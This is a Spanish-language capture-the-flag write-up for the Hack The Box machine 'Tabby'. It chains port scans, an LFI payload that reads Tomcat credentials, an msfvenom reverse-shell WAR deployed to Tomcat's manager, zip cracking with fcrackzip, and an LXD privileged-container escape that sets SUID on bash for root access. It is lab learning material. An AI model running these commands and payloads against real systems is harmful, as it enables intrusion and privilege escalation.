Tabby

Tabby


HTB Linux

echo “10.129.23.72 tabby.htb” | sudo tee -a /etc/hosts

ssh_command.

nmap -A -p- -oA output 10.129.23.72 —min-rate=10000 —script=vuln —script-timeout=15 -v

ssh_command. nmap -sC -sV -O -p- -oA mirai 10.129.23.72

nmap -sU -O -p- -oA mirai-udp 10.129.23.72 [[nmap_udp_scan]]

ssh_command.

nikto -h 10.129.23.72:80

gobuster dir -u http://10.129.23.72 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 40 -o scans/gobuster-root- med

ssh_command.

ssh_command. Vemos el enlace para news es diferente

Agrego esa ip a etc/hosts

10.129.23.72 megahosting.htb

ssh_command.

Vamos a ver si podemos hacer un ataque de LFI. Es decir cuando una aplicacion usa un archivo como parametro introducido por el usuario. Vamos agregar

../../../../../etc/passwd al URL.

ssh_command.

https://github.com/swisskyrepo/PayloadsAllTheThings

curl http://megahosting.htb/news.php?file=../../../../etc/tomcat9/tomcat-users.xml curl http://megahosting.htb/news.php?file=../../../../etc/tomcat9/tomcat-users.xml Esto se usa para eoan Ubuntu

ssh_command.

ssh_command.

curl -u ‘tomcat:$3cureP4s5w0rd123!’ http://10.129.23.72:8080/manager/text/list Tiene acceso a manager-script y podemos ver la lista http://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html#Supported_Manager_Commands

msfvenom -p java/shell_reverse_tcp lhost=10.10.14.125 lport=443 -f war -o rev.10.10.14.125-443.war Ahora le hacemos un deploy con curl

curl -u ‘tomcat:$3cureP4s5w0rd123!’ http://10.129.23.72:8080/manager/text/deploy?path=/cu3rv0x —upload-file rev.10.10.14.125-443.war -u ‘tomcat:$3cureP4s5w0rd123!’ - las credenciales /manager/text/deploy - el path para el comando deploy ?path=/cu3rv0x - el path donde uno quiere que viva la aplicacion —upload-file rev.10.10.14.125-443.war - archivo war donde quiero subir con los commandos HTTP PUT

ssh_command.

http://megahosting.htb:8080/cu3rv0x

ssh_command.

rlwrap nc -lvnp 443

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ Ctrl z stty raw -echo fg export TERM=xterm

ssh_command. Vemos que news.php sube archivos en el directorio de files

Trato de hacerle un unzip a backup.zip pero no lo logre

ssh_command.

crear un servidor en la maquina en la cual estoy atacando python3 -m http.server 8888

ssh_command.

ssh_command.

wget http://10.129.23.72:8888/16162020_backup.zip Bajar el archivo en mi maquina de kali

ssh_command.

Usar fcrackzip para conseguir la contrasena

fcrackzip -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip

ssh_command.

unzip 16162020_backup.zip

ssh_command.

su - ash Password: admin@it

ssh_command.

Creamos un contenedor de lxc

cd /opt git clone https://github.com/saghul/lxd-alpine-builder.git https://github.com/saghul/lxd-alpine-builder

Para que en verdad funcione esto tuve que hacer lo siguiente cd lxd-alpine-builder sudo ./build-alpine si te sale un error de rootfs sudo mkdir rootfs/usr/share/alpine-mirrors sudo vim rootfs/usr/share/alpine-mirrors/MIRRORS.txt copiar la lista encontrada aqui http://dl-cdn.alpinelinux.org/alpine/MIRRORS.txt

ssh_command.

crear un servidor en python python3 -m http.server 7777

ssh_command.

cd /dev/shm wget 10.10.14.125/alpine-v3.13-x86_64-20210411_1036.tar.gz lxc image import /dev/shm/alpine-v3.13-x86_64-20210411_1036.tar.gz —alias cu3rv0x-image

ssh_command.

lxd init lxc init cu3rv0x-image container-cu3rv0x -c security.privileged=true lxc config device add container-cu3rv0x device-cu3rv0x disk source=/ path=/mnt/root ssh_command.

Creamos un contenedor con las siguientes opciones:

init - inicidando el contenedor cu3rv0x-image - imagen ha empezar container-cu3rv0x - alias del contenedor -c security.privileged=true - con esto podemos correr el contenedor como root lxc list

ssh_command.

lxc start container-cu3rv0x lxc list

lxc exec container-0xdf /bin/sh

ssh_command.

ssh_command.

cd /mnt/root

cd /mnt/root/usr/bin chmod 4755 bash

ssh_command.

exit whoami bash -p

ssh_command.

© 2025 Cu3rv0x